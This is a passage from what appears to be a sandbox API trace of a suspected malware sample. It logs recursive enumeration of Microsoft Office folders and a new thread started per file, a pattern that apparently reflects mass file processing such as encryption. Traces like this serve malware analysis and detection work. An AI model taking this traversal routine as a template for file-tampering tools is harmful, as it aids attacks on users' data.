ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0097.901] wcscmp (_String1="LINES", _String2=".") returned 1 [0097.901] wcscmp (_String1="LINES", _String2="..") returned 1 [0097.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b869040 [0097.901] wcscpy (in: _Dest=0x1b869040, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0097.901] wcscat (in: _Dest=0x1b869040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0097.901] wcscat (in: _Dest=0x1b869040, _Source="LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0097.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1338 [0097.902] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0097.902] wcscmp (_String1="OFFICE10.DLL", _String2=".") returned 1 [0097.902] wcscmp (_String1="OFFICE10.DLL", _String2="..") returned 1 [0097.902] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0097.902] wcscmp (_String1="OFFICE10.MMW", _String2=".") returned 1 [0097.902] wcscmp (_String1="OFFICE10.MMW", _String2="..") returned 1 [0097.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae800 [0097.902] wcscpy (in: _Dest=0x202ae800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0097.902] wcscat (in: _Dest=0x202ae800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0097.902] wcscat (in: _Dest=0x202ae800, _Source="OFFICE10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" [0097.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c [0097.903] FindNextFileW (in: hFindFile=0x1cd9d490, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0097.903] FindClose (in: hFindFile=0x1cd9d490 | out: hFindFile=0x1cd9d490) returned 1 [0097.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56a40) returned 1 [0097.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0097.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c23d0) returned 1 Thread: id = 366 os_tid = 0xee8 [0089.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c2210 [0089.735] wcscpy (in: _Dest=0x1b7c2210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0089.735] wcscat (in: _Dest=0x1b7c2210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0089.735] wcscat (in: _Dest=0x1b7c2210, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*" [0089.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56cb0 [0089.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d550 [0089.736] wcscmp (_String1=".", _String2=".") returned 0 [0089.736] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.737] wcscmp (_String1="..", _String2=".") returned 1 [0089.737] wcscmp (_String1="..", _String2="..") returned 0 [0089.737] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0089.737] wcscmp (_String1="ACCDDSUI.DLL", _String2=".") returned 1 [0089.737] wcscmp (_String1="ACCDDSUI.DLL", _String2="..") returned 1 [0089.737] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0089.737] wcscmp (_String1="ACCESS12.ACC", _String2=".") returned 1 [0089.737] wcscmp (_String1="ACCESS12.ACC", _String2="..") returned 1 [0089.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85bfd0 [0089.738] wcscpy (in: _Dest=0x1b85bfd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0089.738] wcscat (in: _Dest=0x1b85bfd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0089.738] wcscat (in: _Dest=0x1b85bfd0, _Source="ACCESS12.ACC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" [0097.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe7c [0097.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0097.931] wcscmp (_String1="ACCOLKI.DLL", _String2=".") returned 1 [0097.931] wcscmp (_String1="ACCOLKI.DLL", _String2="..") returned 1 [0097.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0097.931] wcscmp (_String1="ACCVDTUI.DLL", _String2=".") returned 1 [0097.931] wcscmp (_String1="ACCVDTUI.DLL", _String2="..") returned 1 [0097.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0097.931] wcscmp (_String1="ACTIP10.HLP", _String2=".") returned 1 [0097.931] wcscmp (_String1="ACTIP10.HLP", _String2="..") returned 1 [0097.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0097.931] wcscmp (_String1="ACWIZRC.DLL", _String2=".") returned 1 [0097.931] wcscmp (_String1="ACWIZRC.DLL", _String2="..") returned 1 [0097.931] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0097.931] wcscmp (_String1="AEC.VSL", _String2=".") returned 1 [0097.931] wcscmp (_String1="AEC.VSL", _String2="..") returned 1 [0097.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0097.931] wcscpy (in: _Dest=0x1b85e990, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.931] wcscat (in: _Dest=0x1b85e990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.931] wcscat (in: _Dest=0x1b85e990, _Source="AEC.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" [0097.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0097.932] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0097.932] wcscmp (_String1="AECUTILS.VSL", _String2=".") returned 1 [0097.932] wcscmp (_String1="AECUTILS.VSL", _String2="..") returned 1 [0097.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c600 [0097.932] wcscpy (in: _Dest=0x1b85c600, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.932] wcscat (in: _Dest=0x1b85c600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.932] wcscat (in: _Dest=0x1b85c600, _Source="AECUTILS.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" [0097.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0097.933] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0097.933] wcscmp (_String1="ASSET.VRD", _String2=".") returned 1 [0097.933] wcscmp (_String1="ASSET.VRD", _String2="..") returned 1 [0097.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85da90 [0097.933] wcscpy (in: _Dest=0x1b85da90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.933] wcscat (in: _Dest=0x1b85da90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.933] wcscat (in: _Dest=0x1b85da90, _Source="ASSET.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" [0097.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85da90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0097.934] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0097.934] wcscmp (_String1="BASIC.HTM", _String2=".") returned 1 [0097.934] wcscmp (_String1="BASIC.HTM", _String2="..") returned 1 [0097.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85d590 [0097.934] wcscpy (in: _Dest=0x1b85d590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.934] wcscat (in: _Dest=0x1b85d590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.934] wcscat (in: _Dest=0x1b85d590, _Source="BASIC.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" [0097.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0097.935] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0097.935] wcscmp (_String1="BCSRuntimeRes.dll", _String2=".") returned 1 [0097.935] wcscmp (_String1="BCSRuntimeRes.dll", _String2="..") returned 1 [0097.935] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0097.935] wcscmp (_String1="BHOINTL.DLL", _String2=".") returned 1 [0097.935] wcscmp (_String1="BHOINTL.DLL", _String2="..") returned 1 [0097.935] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0097.935] wcscmp (_String1="Bibliography", _String2=".") returned 1 [0097.935] wcscmp (_String1="Bibliography", _String2="..") returned 1 [0097.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85bb50 [0097.935] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.936] wcscat (in: _Dest=0x1b85bb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.936] wcscat (in: _Dest=0x1b85bb50, _Source="Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0097.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85bb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0097.937] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0097.937] wcscmp (_String1="BSTORM.VSL", _String2=".") returned 1 [0097.937] wcscmp (_String1="BSTORM.VSL", _String2="..") returned 1 [0097.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8690c0 [0097.937] wcscpy (in: _Dest=0x1b8690c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.937] wcscat (in: _Dest=0x1b8690c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.937] wcscat (in: _Dest=0x1b8690c0, _Source="BSTORM.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" [0097.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8690c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8 [0097.938] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0097.938] wcscmp (_String1="BW.CSS", _String2=".") returned 1 [0097.938] wcscmp (_String1="BW.CSS", _String2="..") returned 1 [0097.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b869140 [0097.938] wcscpy (in: _Dest=0x1b869140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.938] wcscat (in: _Dest=0x1b869140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.938] wcscat (in: _Dest=0x1b869140, _Source="BW.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" [0097.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348 [0097.939] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0097.939] wcscmp (_String1="CALEVENT.VRD", _String2=".") returned 1 [0097.939] wcscmp (_String1="CALEVENT.VRD", _String2="..") returned 1 [0097.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202ae920 [0097.939] wcscpy (in: _Dest=0x202ae920, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.939] wcscat (in: _Dest=0x202ae920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.939] wcscat (in: _Dest=0x202ae920, _Source="CALEVENT.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" [0097.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134c [0097.940] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 